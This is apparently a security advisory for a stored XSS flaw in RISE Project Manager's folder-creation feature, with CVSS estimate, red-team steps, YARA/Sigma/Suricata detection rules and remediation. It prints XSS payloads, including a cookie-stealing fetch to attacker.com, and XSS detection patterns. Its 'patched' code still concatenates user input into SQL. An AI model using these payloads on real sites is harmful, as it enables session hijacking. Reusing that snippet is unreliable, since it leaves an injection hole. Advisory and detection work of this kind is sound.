CVE-2025-56807

Executive Summary

CVE-2025-56807 is a stored cross-site scripting (XSS) vulnerability discovered in FairSketch RISE Ultimate Project Manager & CRM version 3.9.4. An authenticated administrator can inject a persistent JavaScript payload through the file explorer’s “create new folder” functionality within the admin dashboard. This stored XSS can execute arbitrary scripts in the context of other administrators or users who view the affected folder, potentially leading to session hijacking, data exfiltration, or further privilege escalation. The vulnerability is currently unpatched, and no official fix has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a standalone PHP application (RISE Ultimate Project Manager & CRM) developed by FairSketch. No supply chain component is directly affected.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating that no official CVSS vector has been assigned by NVD. Based on the nature of the vulnerability (stored XSS with administrative privileges), a reasonable estimated vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): High (H) – requires admin login
• User Interaction (UI): None (N) – payload executes automatically when folder is viewed
• Scope (S): Changed (C) – impacts other users
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS:3.1 Score: 4.1 (Medium)

Threat Level: Medium. Exploitation requires administrative credentials, but once injected, the payload can affect all users who browse the file explorer.

Deep Dive & Mechanics

The vulnerability resides in the file explorer module of the admin dashboard. When an administrator creates a new folder, the folder name is not properly sanitized before being stored in the database and later rendered in the browser. An attacker with admin privileges can input a JavaScript payload as the folder name, such as:

<script>alert('XSS')</script>

This payload is stored and executed whenever any user (including other administrators) navigates to the file explorer and views the folder list. The lack of output encoding or input validation allows the script to run in the context of the victim’s session.

The vulnerable code path likely involves a PHP script that handles folder creation (e.g., create_folder.php) and a view that renders folder names without escaping. The stored XSS can be used to steal session cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the folder creation handler. A typical vulnerable PHP snippet might look like:

// Vulnerable code (example)
$folder_name = $_POST['folder_name'];
$query = "INSERT INTO folders (name) VALUES ('$folder_name')";
mysqli_query($conn, $query);

And in the view:

// Vulnerable output
echo "<li>" . $folder_name . "</li>";

A patched version would sanitize input and escape output:

// Patched input handling
$folder_name = htmlspecialchars($_POST['folder_name'], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO folders (name) VALUES ('$folder_name')";
mysqli_query($conn, $query);

And in the view:

// Patched output
echo "<li>" . htmlspecialchars($folder_name, ENT_QUOTES, 'UTF-8') . "</li>";

Exploitation & Lab Setup

Red Team

Prerequisites: Valid administrator credentials for RISE Ultimate Project Manager & CRM 3.9.4.

Steps:

1. Log in to the admin dashboard.
2. Navigate to the file explorer module.
3. Click “Create New Folder”.
4. In the folder name field, enter a JavaScript payload, e.g.:

   <img src=x onerror=alert(document.cookie)>
   

5. Submit the form.
6. Any user who views the file explorer will trigger the payload.

Example payload for session theft:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection: Monitor for unusual folder names containing script tags or event handlers. Review admin activity logs for folder creation events with suspicious names.

Prevention: Implement strict input validation and output encoding. Use Content Security Policy (CSP) headers to block inline scripts. Restrict admin dashboard access to trusted users only.

Hunting: Search database for folder names containing <script, onerror, onload, or other XSS indicators.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from the RISE application server.
• File System: Folder names in the database containing JavaScript code.
• Logs: Admin activity logs showing creation of folders with unusual names.
• Browser: Unexpected JavaScript execution in the file explorer page.

Example IOC in database:

SELECT * FROM folders WHERE name LIKE '%<script%' OR name LIKE '%onerror%';

Detection Engineering

YARA Rule

rule CVE_2025_56807_XSS_FolderName {
    meta:
        description = "Detects stored XSS payloads in RISE folder names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56807"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<[^>]+onerror\s*=[^>]*>/is
        $xss3 = /<[^>]+onload\s*=[^>]*>/is
        $xss4 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via Folder Creation in RISE Ultimate Project Manager
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects creation of folders with XSS payloads in RISE admin dashboard
author: Valters IT
date: 2025/04/10
logsource:
    category: application
    product: rise
detection:
    selection:
        event: folder_created
        folder_name|contains:
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate folder names containing these strings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-56807 Stored XSS Payload in Folder Name"; flow:to_server,established; content:"folder_name"; nocase; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict admin dashboard access to only trusted personnel.
2. Implement a Web Application Firewall (WAF) rule to block folder names containing script tags or event handlers.
3. Manually sanitize folder names in the database using a script.

Long-term Fix:

• Apply input validation and output encoding in the folder creation and display code.
• Use parameterized queries to prevent SQL injection (though not the primary issue here).
• Update to a patched version when released by FairSketch.

Workaround:

• Disable the file explorer module if not essential.
• Monitor logs for suspicious folder creation activity.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert